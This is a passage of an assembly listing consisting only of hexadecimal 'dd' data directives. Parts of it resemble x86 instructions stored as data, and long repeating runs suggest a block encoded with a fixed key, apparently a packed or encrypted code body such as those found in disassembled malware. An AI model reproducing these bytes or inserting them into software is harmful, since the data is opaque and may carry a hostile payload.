		dd 0F73256EBh, 0F7325677h, 0E3F27DB8h, 0BE60063Dh, 0BE6A0C9Fh
		dd 0BE5386E8h, 0EF65369Ah, 803D0485h, 0EB530EB0h, 9506DF2Dh
		dd 0D7AFE598h, 0D0F659E3h, 77164A27h, 0E3EFE2D0h, 0EB6A0C88h
		dd 2D52068Dh, 0B1325C03h, 89A9FC75h, 554520ABh,	0D7215410h
		dd 0CC7C882Fh, 0B13242BEh, 0EB372AABh, 97B33E5Eh, 38F428Dh
		dd 4F8BD676h, 0BB47FAE5h, 0BADACB26h, 0E63256AEh, 42507B13h
		dd 0FE9C7F1Bh, 0C386B309h, 5DA537B5h, 69891CC0h, 35A5408Bh
		dd 4101F430h, 0ADBDB8C7h, 2C99AC72h, 216A0CCAh,	663256D5h
		dd 0C2D0FB2Eh, 7E1CFF45h, 275333E6h, 2624565Dh,	82903B2Ah
		dd 27530FCAh, 0E96837F3h, 0B516125Ch, 0E36204BAh, 803D3715h
		dd 0E96837DAh, 0B6DB6752h, 323256AEh, 6E4C6F57h, 0E968A387h
		dd 0D188308Dh, 0E10359B0h, 0EB035927h, 0D76A0CE2h, 0E953A1D6h
		dd 9A48F332h, 0B67477DFh, 12E00B9Fh, 4E2C0F75h,	0AA184326h
		dd 0E9680E2Fh, 0B13256E2h, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B1DA36EAh, 0EB325675h, 8F20BC3Bh
		dd 34BF507Ch, 0B7122601h, 8A5AD4DEh, 33BF508Ah,	0B7139E8Ch
		dd 8A5ED463h, 0FFDA5054h, 593256B3h, 0B1325626h, 8A6AD469h
		dd 0B1325076h, 776056ABh, 0AA11CB50h, 0E35A00ECh, 4EAEFECDh
		dd 0AA1D470Fh, 0F7B7DB5Bh, 4E3448DEh, 80B7DF87h, 0DB344DB1h
		dd 0A1323ED1h, 0F15A56EAh, 0DB325578h, 0EBE2A9BAh, 82469656h
		dd 8A6AD427h, 33BB5076h, 0B7136DF7h, 0B23F166Ch, 82CADDEAh
		dd 0E398A5B5h, 0B15A52D0h, 0D932564Dh, 0B13252AEh, 23CD563Dh
		dd 0B7294C9Ah, 1DB0DF8Fh, 0D03477D1h, 8A6AD3FEh, 0D1F1509Bh
		dd 0A227D49Ah, 0B13250B5h, 33F55617h, 0B7294E26h, 0B13246D5h
		dd 3A52958Bh, 90090ECFh, 0B10DD5BCh, 0CEB17529h, 0BA4654BEh
		dd 0B52229D4h, 76B158DFh, 76D8BDC1h, 0B13346ADh, 43D95675h
		dd 0B222117Dh, 5A32565Dh, 0E4F13747h, 5952BADCh, 0B13256ABh
		dd 0B6D8D78Fh, 3A3477D5h, 9009E6C7h, 0B977DDBCh, 33B150D4h
		dd 0B7136D1Eh, 73FB3753h, 595256AFh, 0B13256D5h, 9AD8D7B0h
		dd 3A34774Ah, 9009FA08h, 1806D5Bh, 0C5347795h, 3A0CDD6Ch
		dd 0FE845974h, 0B075A0D4h, 0B236236Ah, 9A30BDACh, 3A711563h
		dd 0AA383BD8h, 0A8BFDDA8h, 8A344D5Dh, 8A3B2473h, 3237210Ch
		dd 78D9522Ch, 0B946994Eh, 0BB2BEB33h, 6D95046h,	595295CFh
		dd 0B1325657h, 32D8D7F1h, 3A3477EAh, 9009FA50h,	0B032EF73h
		dd 710156BAh, 33B9FDAEh, 0B7136D02h, 8A82D4DEh,	7253508Ah
		dd 0B132BEB5h, 306856EAh, 900DFB9Fh, 2CB790BCh,	0E7344D7Eh
		dd 0AE5F6FC6h, 0A087A983h, 3C344D84h, 0AF421050h, 0E3E2A9ECh
		dd 31323E25h, 0B15856BAh, 8A6AE4A2h, 61CD508Fh,	0B15A0C0Fh
		dd 0DB32562Bh, 1D80A9D5h, 4E3477D1h, 0E4F137A5h, 5952BA31h
		dd 0B132565Dh, 4AD8D7F4h, 3A347768h, 29DA5EDEh,	0E43256D7h
		dd 8A5AC415h, 8A6F5054h, 5F475ACFh, 0B130D0B5h,	73FB37AEh
		dd 3A67565Fh, 4DF6D547h, 59610183h, 0B13256EAh,	9ED8D72Fh
		dd 3A3477FAh, 0CCB95E28h, 596401BEh, 0B1325660h, 904696A0h
		dd 4E67AE5Eh, 90093E78h, 0C4090B73h, 0D72022B6h, 56B248D6h
		dd 312CDC5Eh, 2CDAA6B4h, 5A3256ADh, 4D4FDF01h, 4ECC0B02h
		dd 0EF6D0D8Ah, 78CE1331h, 0E4325A9Fh, 75B1BA25h, 0E06401AFh
		dd 497791F8h, 0B13256D5h, 8AAAD42Dh, 0B1335054h, 0C4B956BAh
		dd 0AFB93055h, 8A6AEC25h, 0EEB95076h, 0C5E95DA3h, 0C4EC6DDAh
		dd 0BD6FDDECh, 323E09FCh, 5BD9427Dh, 312CDD3Bh,	353DBE55h
		dd 0B1325699h, 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh, 0B18ED27Ah
		dd 4AB256BAh, 1DB659BFh, 313256AEh, 353DB5ACh, 0B1325631h
		dd 0D6C9D7B3h, 29B65909h, 31325675h, 3054A65Dh,	0BEB259A6h
		dd 0B132C72Ah, 41D1D657h, 0BE42AD2Bh, 0B132D351h, 0AFB930EAh
		dd 31CAB5F5h, 0F346EE41h, 0C53768DDh, 9C0CD693h, 8FB26E23h
		dd 4E0122C3h, 9009CE57h, 0AFB930ECh, 0D7CAB1F5h, 59B3AD3Bh
		dd 3A547629h, 41D5D6B0h, 30C9D731h, 0D121226Bh,	0D9A0A980h
		dd 0EC3477D1h, 0D0CE13FCh, 0B0CE2B39h, 0BB93528h, 0B72945BBh
		dd 29B0DD07h, 88347790h, 0C36A66E9h, 3C88DDBAh,	0E1344D6Dh
		dd 8AAAD431h, 8D0B507Ch, 8C4D0E9Eh, 0F4F546BCh,	0B1325453h
		dd 7635BDD5h, 0B133AEAFh, 0BB95675h, 0B7136DE2h, 6A3949D6h
		dd 6F0949DAh, 0ECB95922h, 494FD5A7h, 0B23122D5h, 0EEBBAEB7h
		dd 0A5F5D571h, 7101B451h, 0B13296B4h, 0AFB930AEh, 313E2BDCh
		dd 0BB46BD50h, 31C2B555h, 0A7462611h, 0B6F4649Eh, 0B0759153h
		dd 0B132565Dh, 71B19125h, 0B1A5BF52h, 765456ABh, 3B3A59D2h
		dd 0BED1D6F4h, 39B29DF5h, 0F6F557E5h, 0B132565Fh, 32F5DDAEh
		dd 0C8D95097h, 210CD7CDh, 313D2245h, 0BF47C6D4h, 4E4CD713h
		dd 0B346C62Ah, 76B952B6h, 33BF0945h, 0B7136DE3h, 23CD00FBh
		dd 0B7136DB9h, 0BB4696E1h, 3BF9EFEh, 0B7136D0Eh, 3A6446B6h
		dd 23CD0360h, 0B7136D3Fh, 46FC7DF6h, 0CCB1080Ch, 0A1475712h
		dd 0D7981FC5h, 0D7B75902h, 0F78459F6h, 0AAD9FDAFh, 0B3CA2BD4h
		dd 95445DEh, 1A549FDEh,	353DEE8Ch, 73DFD13h, 5A9957FCh
		dd 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h, 5DB903ABh, 0B132BEB5h
		dd 306856EAh, 9070DB9Fh, 0B977DDBCh, 8A52D4D4h,	7853508Fh
		dd 0E4325295h, 75B1BA20h, 0B1DA362Dh, 0EB3256EAh, 0F39CBCF4h
		dd 0F4F5509Bh, 0B13256A5h, 4D7791AEh, 0B1325657h, 3A549698h
		dd 29B091CBh, 0B03477D1h, 0D7325675h, 21A2AD3Bh, 4AB25628h
		dd 0B9B65946h, 0F1325656h, 0BEDBAD2Bh, 0B132A851h, 4AB216EAh
		dd 45B6599Eh, 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh, 0B1D7D258h
		dd 333156ABh, 0B7295EB4h, 53C9D6AAh, 0B1FCD27Ah, 4AB256BAh
		dd 0DB659BEh, 0D73256AEh, 5255ADD6h, 0B188D2A4h, 52B256D5h
		dd 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh, 49D1D643h, 0C58AAD2Eh
		dd 0B40CD610h, 8FB214DFh, 310F22F8h, 89463ED4h,	29B0A935h
		dd 0D7347781h, 56B248D6h, 4AB33056h, 9546BED6h,	312CDDCDh
		dd 3054A632h, 0C5F2D711h, 4E673662h, 90093E28h,	0F4BB0B5Bh
		dd 0CCB13752h, 343D57ABh, 0B1325783h, 0A227EC5Eh, 3A6250F1h
		dd 9009CEF7h, 810E6FBCh, 0A0B05905h, 3A3256AFh,	0AA2ADBEDh
		dd 33B906ADh, 0B7136D4Dh, 0E9026AD3h, 0B1C8D97Ah, 0BB956BAh
		dd 0B7136D01h, 8A6ED42Dh, 38265076h, 0A175DF9Ch, 29B0DD85h
		dd 3A3477D1h, 386A6669h, 64DB5EE5h, 7632565Dh, 0B130AEEBh
		dd 0B6D95657h, 0B0CA136Ch, 3A3256D5h, 90090A50h, 0EDB0D573h
		dd 0A5347781h, 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h, 0B7136D33h
		dd 0B13256D7h, 49B15301h, 326D2B77h, 0C532AEC7h, 0F7845946h
		dd 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh, 323256EAh
		dd 0BAD9539Dh, 29A8DDE9h, 3A347766h, 186965AAh,	31325657h
		dd 773142DEh, 0B2379656h, 9009CE68h, 0F6BB1E73h, 0BD75DFB2h
		dd 69C500B6h, 69C59085h, 0B23796D4h, 9009CE29h,	0F6BB1ED3h
		dd 0BD75DFE2h, 7101689Eh, 19331030h, 0B21323DDh, 0B3F2D568h
		dd 0B13257ECh, 0C5E95DABh, 82A8DCDCh, 31347695h, 72315796h
		dd 383A1133h, 0A5D95A1Ah, 4E178E59h, 9A325657h,	32EAA16Dh
		dd 0F6BB5415h, 0BD75DFE2h, 72FB378Dh, 32DEDDEFh, 5952AA99h
		dd 0B13256AEh, 0ED8D70Dh, 3A3477EFh, 90090E6Fh,	32FB65ECh
		dd 353D564Ah, 0B1325678h, 0C4CD51D6h, 0B947A9A2h, 0B041BE07h
		dd 0B44156ABh, 5A269156h, 4D77DF08h, 4E3E238Ah,	86CD5ECFh
		dd 0B1330AB5h, 26B059AEh, 3A325657h, 0B60BAAEEh, 0B1BED4DAh
		dd 0F4CD56EAh, 0B54DD589h, 323A22BAh, 0C5325A22h, 93CBDACh
		dd 4ECDA9A8h, 0B1325312h, 5A99A5D5h, 0A14DD529h, 323D2270h
		dd 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh, 0BD6DDDAFh
		dd 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh, 0A1677D59h
		dd 3A2603ADh, 6B195A08h, 0EB37BD28h, 0F6B9443Eh, 0BD6DDDEEh
		dd 3236095Eh, 3B315351h, 0B7295964h, 0B222292Dh, 9A735722h
		dd 0B06EDF72h, 4ECDEED4h, 0B48BA915h, 42325675h, 4E64BF11h
		dd 7853A9A2h, 0E432466Ch, 75B1BADCh, 0B1DA3657h, 0EB3256D5h
		dd 0F498BC6Bh, 0BB95054h, 0B7136DE2h, 8EB19F6Eh, 20B659AEh
		dd 3A325657h, 0BD47A9ACh, 0E13A232Ah, 0B132DE02h, 32372575h
		dd 53D9427Dh, 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh,	0B13256DAh
		dd 0F4B93CA7h, 0C3356F16h, 4D77A916h, 0B1362939h, 0CEB15E29h
		dd 0B34656A2h, 4E8A58BCh, 8CDA954h, 0B13256D0h,	7AD9FD19h
		dd 0B42229F6h, 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh
		dd 0B575DDB6h, 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h
		dd 0A14DD558h, 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah
		dd 0B13256EFh, 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh
		dd 0C33E136Ch, 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h
		dd 5DB903BAh, 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B713102Bh
		dd 6A019FE6h, 3ACE0B63h, 90090ECFh, 0B10DD5BCh,	8EB13229h
		dd 32372351h, 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h
		dd 0F4CD5E9Eh, 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h
		dd 3A7347DEh, 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h
		dd 0EEB9521Ah, 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h
		dd 0B0330A63h, 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h
		dd 72FBAA12h, 596107FBh, 0B13256D5h, 0BAD8D7B0h, 3C347732h
		dd 90092620h, 0B156EE5Bh, 63DA56AEh, 3A325657h,	5AF36DA0h
		dd 0B57955C1h, 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh
		dd 1DA8DBBCh, 4E3477E4h, 3C3ABD78h, 9084844Fh, 0EAE1A9ECh
		dd 0E4F10E2Ch, 0B1DABA31h, 0EB32565Dh, 0F668BC2Fh, 3C525076h
		dd 90092611h, 0B977DDD3h, 0F4B95163h, 0B575DF79h, 38221331h
		dd 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B7297548h
		dd 0C2283EADh, 4CDFE62h, 0B72979ABh, 0C174D3D0h, 61CD50B0h
		dd 2DB8DB05h, 0E0347790h, 3C68862Ah, 9009CA68h,	0F1855973h
		dd 0E3EADDB6h, 0B2686752h, 0FCB0DF6Dh, 0D0344D43h, 0E85251C3h
		dd 0
		dd 0CBEA815Ah, 52062147h, 144D828Bh, 6DB9061Bh,	0F741C64Eh
		dd 39055AE1h, 25000030h, 7FFFFFFFh, 144D8289h, 595A061Bh
		dd 0E85251C3h, 0
		dd 0FBEA815Ah, 8B062147h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h
		dd 8BC3595Ah, 8DC08BC0h, 213E0C85h, 66D0FF06h, 858DC18Bh
		dd 62147C4h, 1958589h, 858D061Bh, 62147F4h, 0E798589h
		dd 0B8061Bh, 0B000000h,	47840FC0h, 0C6000000h, 1B239D85h
		dd 0DF685606h, 0FFA9C530h, 1B2F11B5h, 46858D06h, 0FF061E70h
		dd 8D8D50D0h, 61B24F1h,	68046A51h, 1000h, 1F15B5FFh, 0D0FF061Bh
		dd 1F15BD8Bh, 7F03061Bh, 0F8C7813Ch, 0C7000000h, 202447h
		dd 9D8D6000h, 61B0C51h,	0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h
		dd 234CF6h, 49A18D8Dh, 6A0621h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 17DA4BC3h, 0E900EDF5h
		dd 0D58589ACh, 66061B2Fh, 53CBC281h, 24298D89h,	8166061Bh
		dd 0F28FCD3h, 389h, 0F28B6600h,	76585C7h, 6A50061Bh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 85C793C3h, 61B13D1h,	0
		dd 29EDB58Bh, 0B5FF061Bh, 61B07B5h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0F6C35141h,	0F3D1F8A5h, 0BD013D07h
		dd 61B1139h, 0B5BD8B51h, 5F061B2Dh, 0FE9h, 1D6F9400h, 5F24E592h
		dd 0B50CA582h, 5F8F12ECh, 2F8595FFh, 6A061Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 858952C3h
		dd 61B302Dh, 6AD88B66h,	595FF00h, 8B061B22h, 313DEBC0h
		dd 0EE111661h, 0E1219D75h, 1FB95670h, 9656C769h, 27AF56FEh
		dd 2123AA8Ah, 0E1E511EFh, 0F09D6ACCh, 0DC55EBA4h, 2F884F14h
		dd 53EB7AA8h, 0A2B48B87h, 0F6B64A10h, 766BD5F1h, 199FD24Eh
		dd 4AE48D8Dh, 6A0621h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 331836C3h, 66548A51h, 8D89D68Bh
		dd 61B2429h, 8145EE81h,	85C73CC3h, 61B0765h, 7250h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 18C35545h, 0E1D41B14h
		dd 7F1D2A2Dh, 0BE9B6h, 8E40000h, 459FEE9Bh, 47A7CBA1h
		dd 0D185C746h, 61B13h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 483EC350h
		dd 6E6199DCh, 57349FD7h, 12F58D89h, 0F5E061Bh, 0B5FFD1BFh
		dd 61B0399h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	3C35343h, 3165C884h, 5D34FDD0h,	31B589F2h, 0FF061B2Fh
		dd 1B2F8595h, 10E906h, 0F1F30000h, 283F1E08h, 6E927C58h
		dd 8817F742h, 6AF807h, 220595FFh, 0C08B061Bh, 51131FEBh
		dd 89CAFFEAh, 0C4A66C9h, 0DFA61F50h, 9169F162h,	9ADA1409h
		dd 0B6350049h, 94B748CFh, 0C108EB0Ah, 337E0Bh, 0E9000000h
		dd 0B5Bh, 214C8368h, 0FAC2E906h, 7E68FFFAh, 0E906214Dh
		dd 0FFFAFAB8h, 214F5368h, 0FAAEE906h, 2368FFFAh, 0E9062150h
		dd 0FFFAFAA4h, 2151DA68h, 0FA9AE906h, 5B68FFFAh, 0E9062153h
		dd 0FFFAFA90h, 2154AA68h, 0FA86E906h, 0EDD6FFFAh, 0C3789967h
		dd 0E2DAB789h, 0BF7D8E64h, 0E9D4B58Bh, 0BE429967h, 0B68CC47Fh
		dd 8B65E9D5h, 0B48EC47Eh, 9260E8D7h, 3D3B57C8h,	0C64AF0E9h
		dd 0C33995Dh, 7E3D3E3Ch, 720CF8CAh, 0A2A7BB2Ch,	0CF52CCC5h
		dd 25579167h, 544ACA81h, 3667C987h, 9E50CAB8h, 2Dh, 347A2448h
		dd 0B322AFA3h, 88EF52CCh, 0CA93E29Ah, 178DE94Ah, 5DF1CD8Eh
		dd 5777147h, 744ACA93h,	1687E967h, 7E50CAAEh, 0EFh, 3C0C3328h
		dd 0CE823D3Eh, 38102FECh, 17968D42h, 8FE85623h,	0E6C7B5ADh
		dd 0AA0C4CD1h, 4A712A3Ch, 0EAC090B3h, 0A0361229h, 0E65D1B37h
		dd 30A64CD1h, 9C0BCCA6h, 0D1E6F686h, 8B99FD4Ch,	0D1E2B195h
		dd 8DBB824Ch, 0DEE7D6B3h, 163ABA93h, 6644D257h,	29BE0496h
		dd 0CCB02039h, 988AED52h, 4ACA80E0h, 27198BEBh,	0DF109DB6h
		dd 3BC9A933h, 6E376129h, 0D6E50B5Ch, 2FEBF8DBh,	2C54A617h
		dd 0E671E670h, 0D1B6171h, 76E04ACAh, 0E7DD7260h, 2E8854DDh
		dd 71DFE2B9h, 0A1AF927Fh, 0EAE39711h, 0EFB0025Dh, 912h
		dd 0EBC58FB0h, 552B211Eh, 0F0C28434h, 532D1D23h, 0EBC58B36h
		dd 122D10E8h, 7B47443Eh, 122CDDD3h, 9AA17240h, 99FED4AEh
		dd 0F0EEF389h, 0D3ABF84Ah, 45F51033h, 5A5AF37Eh, 24B28DF6h
		dd 0F4D99FB3h, 0B4224CD1h, 7C435022h, 2400F6CCh, 79D5E97Ah
		dd 0A286F6ECh, 0E94D4CD1h, 9E7DEA7Bh, 0A8BAACA2h, 52CCB33Bh
		dd 0A09A9006h, 4ACA93DCh, 0C022BECDh, 50CAAE5Dh, 0BBC5h
		dd 0C33EF00h, 823D3E3Ch, 2D4A59CEh, 58FAC41Dh, 2BCDF04Bh
		dd 0D1394137h, 0BA2C8A4Ch, 0B294CEACh, 814CD13Dh, 42198EBAh
		dd 79EBCD7Bh, 0C574956Bh, 0C3D5A583h, 3DFA657Eh, 95BDCF51h
		dd 0D138FD7Bh, 5DEBD24Ch, 47D046B0h, 0CC254E4Bh, 0DE35352h
		dd 90054BEDh, 0DDF2E282h, 5B620954h, 126A78EDh,	0D94CD7B6h
		dd 0E97EE77Dh, 57DF9EFAh, 4056CC9Ch, 0AA98B88Bh, 0CA7AD6E9h
		dd 5DEB9348h, 17808563h, 0B5000008h, 997A480Ch,	0B9DAA8A4h
		dd 9E6B4501h, 0BBD8AAA0h, 637A4808h, 0ADA39E9Fh, 440AB6D3h
		dd 0AFA39D6Eh, 5FE9D0C1h, 3C56C791h, 4AF0EF3Ch,	339A5CC7h
		dd 0A1724010h, 0A2D4AE9Ah, 3E3C0C33h, 0C47F7E3Dh, 45CF7B41h
		dd 7721E1CFh, 81AEA431h, 0D452CCC3h, 83096F63h,	19D24ACAh
		dd 9C522824h, 0DD9E9C0Ah, 0C7986ADEh, 13153704h, 0E7D6B3A1h
		dd 0F5D68761h, 0FE140246h, 0D214E49Dh, 0B2F0688Dh, 0D4A4BE8Bh
		dd 1FCD8CA0h, 0A0D2AAB8h, 0BD19CD8Ch, 0BF28BD27h, 0E3DB5EA4h
		dd 756B6859h, 0CD8C0907h, 867C6ACCh, 644FAD1h, 0E7A4B224h
		dd 407A70D8h, 0CD8C093Bh, 19571102h, 64E4DB22h,	6C46D086h
		dd 0D2A8A09Fh, 0F5DAC798h, 0AF29D2FDh, 92392ABDh, 511FD923h
		dd 278DEBE5h, 0E0563273h, 271D5B77h, 70E63273h,	0B296A566h
		dd 5CECD3C0h, 222C10CBh, 0D4744B48h, 0E0F660D6h, 153E550Ah
		dd 0A2BA6C4Ah, 0EECC843Fh, 14F8EE78h, 24B3246Ah, 97A95C67h
		dd 0A6BC29BBh, 3273F3D6h, 0B5ABB91Dh, 2C6EDB8Ch, 9D9D7EE9h
		dd 0EBC1B7A9h, 0AC0A3468h, 0CFA115BAh, 0D24389B3h, 75C7C7C0h
		dd 3E1D8A2Ah, 7CF2C87Eh, 73F71666h, 0B7F6DD32h,	6ACF360Bh
		dd 0EC918311h, 0C1BAB08Ah, 0B23273C8h, 64C92BA5h, 1DD84371h
		dd 0D7CB803Eh, 3273D0A1h, 4C5ACC2Ah, 38B8Ah, 0C06A3C00h
		dd 0E075BBDDh, 0CCC60DF2h, 0AF7ED852h, 54FCC784h, 77EC5042h
		dd 0A34CBCCh, 0A3F53C4h, 0B7D5D930h, 250345F4h,	924325AFh
		dd 7C6F0D05h, 274CDDFh,	7CFF7D95h, 9204CDDFh, 60A6B884h
		dd 2C53DBF7h, 0B224D3C9h, 0E1D9B225h, 502A281Ah, 0BC32089Eh
		dd 7ECAF1AAh, 90B88784h, 0F58878E4h, 0E0A503E4h, 642h
		dd 7B75DFE0h, 0A59BB18Eh, 8072D4E4h, 0A39DAD93h, 7B75DBE6h
		dd 0C27DC058h, 0EBD7B48Eh, 0C27C8D63h, 0CAF1A290h, 49CE847Eh
		dd 0F0ED2359h, 835BA84Ah, 0A3347A24h, 0CCC386AFh, 8563D352h
		dd 9593B584h, 65061DB6h, 0AC171C56h, 16D2B7ADh,	0F1596724h
		dd 3F4C45F7h, 309582FDh, 0EB8D7D67h, 152230A5h,	6054D76Eh
		dd 96AA61F6h, 3D4AEB8h,	0A467DD10h, 0F7EDAAE7h,	4B2D1B22h
		dd 0AF8E6F4Eh, 0B72D9F99h, 856330C1h, 0E2D07847h, 0E564A00Dh
		dd 2920856h, 24BE0000h,	0E8A3347Ah, 5F5D76D0h, 0A16EE20Eh
		dd 0C7DB4C5Ah, 52F2E3A7h, 8A41D640h, 0EAA799B7h, 497F79D7h
		dd 7A890416h, 7C8E382Bh, 66359CD3h, 0A4A49B70h,	0C388AE10h
		dd 0CACB1D57h, 572h, 4B252F10h,	0F5CB813Eh, 50222414h
		dd 0F3CD7D43h, 4B252B16h, 724DF008h, 1B27E4DEh,	724C3D33h
		dd 3A0112E0h, 399E340Eh, 0F0F25329h, 334B984Ah,	0A3347A24h
		dd 0A25E1E34h, 31A54CD1h, 12E86258h, 0C5DD4A5Ch, 52F2DDA1h
		dd 0F044455Eh, 0E8FF1E7Fh, 0A29A51FEh, 8610C6A4h, 70D8E7A4h
		dd 9EAA9182h, 68E0DF9Ch, 9EAA9192h, 41372B9Ch, 8A4AF05Fh
		dd 0FA526F2Ch, 0F9D72400h, 0AC6B506h, 655BEDCCh, 0C3E21D80h
		dd 1CA8550h, 7F2F0000h,	0CDAB9D9Ch, 6D4C0D17h, 3AA4F758h
		dd 1E1EA66Fh, 0A9C5228h, 0DEDD9E9Ch, 0CB3814E7h, 0C3517977h
		dd 256B0DEDh, 0A3A9A2B0h, 2FEC52CCh, 883D3B13h,	0CAE7E29Ah
		dd 178DE94Ah, 0EBCD7B42h, 74E26B79h, 7556C176h,	3BB187CBh
		dd 0CAE75725h, 0AD3A9C4Ah, 0CAE7C7B5h, 0BCAA0C4Ah, 0CAE7D2A6h
		dd 20B8BF4Ah, 0CA964FBEh, 27B750h, 24ED0000h, 0E8A3347Ah
		dd 0CC8278D2h, 0CC554DDAh, 0D152CCB3h, 2B4D8365h, 564ACA93h
		dd 875D791h, 7050CAAEh,	0E2h, 3C0C3326h, 0EFD2893Eh, 0AB967361h
		dd 112C3A5h, 0F7698312h, 82C4DDB5h, 89FEBF3Fh, 3EFDDEC8h
		dd 190A9D0Ah, 0DC4F0B0Ch, 0FC7C96CEh, 74CD155h,	32A3858Fh
		dd 7CE96559h, 0D1551666h, 6B79DD4Ch, 0C7B98FAEh, 0EB918116h
		dd 0F04CD155h, 0AC829086h, 874CD151h, 0E2A290B8h, 0EDE572B8h
		dd 52C6B515h, 2F4D45D2h, 0B44ACCF2h, 4BAB5442h,	4CD4C9DAh
		dd 0B3733137h, 666DD79Eh, 5046628Ah, 173904C7h,	0FC556829h
		dd 0CC8496E6h, 3612294Ah, 0BB72D89h, 640200A5h,	0BBBDC210h
		dd 59000003h, 0F516EC68h, 5D2E0448h, 0FA17E95Dh, 5F2C0644h
		dd 0BF16EC64h, 113F023Bh, 4E721Fh, 0F35F6132h, 1B2D0CFDh
		dd 382AAB25h, 4AF0F340h, 3326388Bh, 0ED724010h,	6D39F4F6h
		dd 0D6C04EFEh, 950246F5h, 52440AB6h, 0C339E60h,	7E3D3E3Ch
		dd 720CF8CAh, 6072DDE1h, 4CD1A218h, 7E173E3h, 3C56BF55h
		dd 52CC8A77h, 0A49E9CFAh, 4ACABAD6h, 5DAA2655h,	8B5B723Bh
		dd 884FB4E2h, 0A899891Eh, 0B554D7FEh, 0CE285042h, 43B34CD1h
		dd 0E97EDFD1h, 54DC4FAh, 0C4DEF6F8h, 4CD147B4h,	0F7CDD73Fh
		dd 3E3C0C33h, 0D7CB7E3Dh, 4CD1A2A1h, 0A50D5CBEh, 0BB44938Ah
		dd 0FD0D465Bh, 8AEECA44h, 4456261Ch, 707969FEh,	1D52CC3Eh
		dd 6B7B546Eh, 46D7F2CCh, 84118311h, 0DD95A68Fh,	1A0C2942h
		dd 4562A20h, 34434ACAh,	34D33A9Ch, 233B50CAh, 69000000h
		dd 0A3347A24h, 0CCB322AFh, 823CEF52h, 6E6446D0h, 4ACA930Ah
		dd 96F87077h, 50CAAE67h, 0DCCFh, 647F0500h, 0C1996440h
		dd 40190B39h, 18D9CF79h, 4C4D2B25h, 0A3AD906Dh,	833A3731h
		dd 0C1E5EBC5h, 724CD13Ch, 0B368FD4Bh, 74EAC090h, 0BC839062h
		dd 0DB081B8Ch, 0EF7E9E4Fh, 86565442h, 2939AEF4h, 52CC2F40h
		dd 4A00BE6Dh, 8416E6DCh, 0CA7FCFF3h, 58CD57F5h,	0DD84A24Ah
		dd 78ED4954h, 0A3B1A1A3h, 0EA665932h, 848FB18h,	0EB461E7Ch
		dd 7A7B4D5Dh, 23Ah, 936DE7D8h, 0AD83C976h, 986ADCDCh, 0AB85C57Bh
		dd 936DE3DEh, 0BA85B840h, 0D3EF9C96h, 0BA84857Bh, 0D2E9AA98h
		dd 41D67C76h, 0F0F12B51h, 8B53B04Ah, 51411033h,	4CD1A22Bh
		dd 0B78546B0h, 0B51F9593h, 0F4546B20h, 5C5640F6h, 6766CFBh
		dd 994CD1A2h, 0B224A9A5h, 71D8E7A4h, 0D1A21B61h, 5D76E04Ch
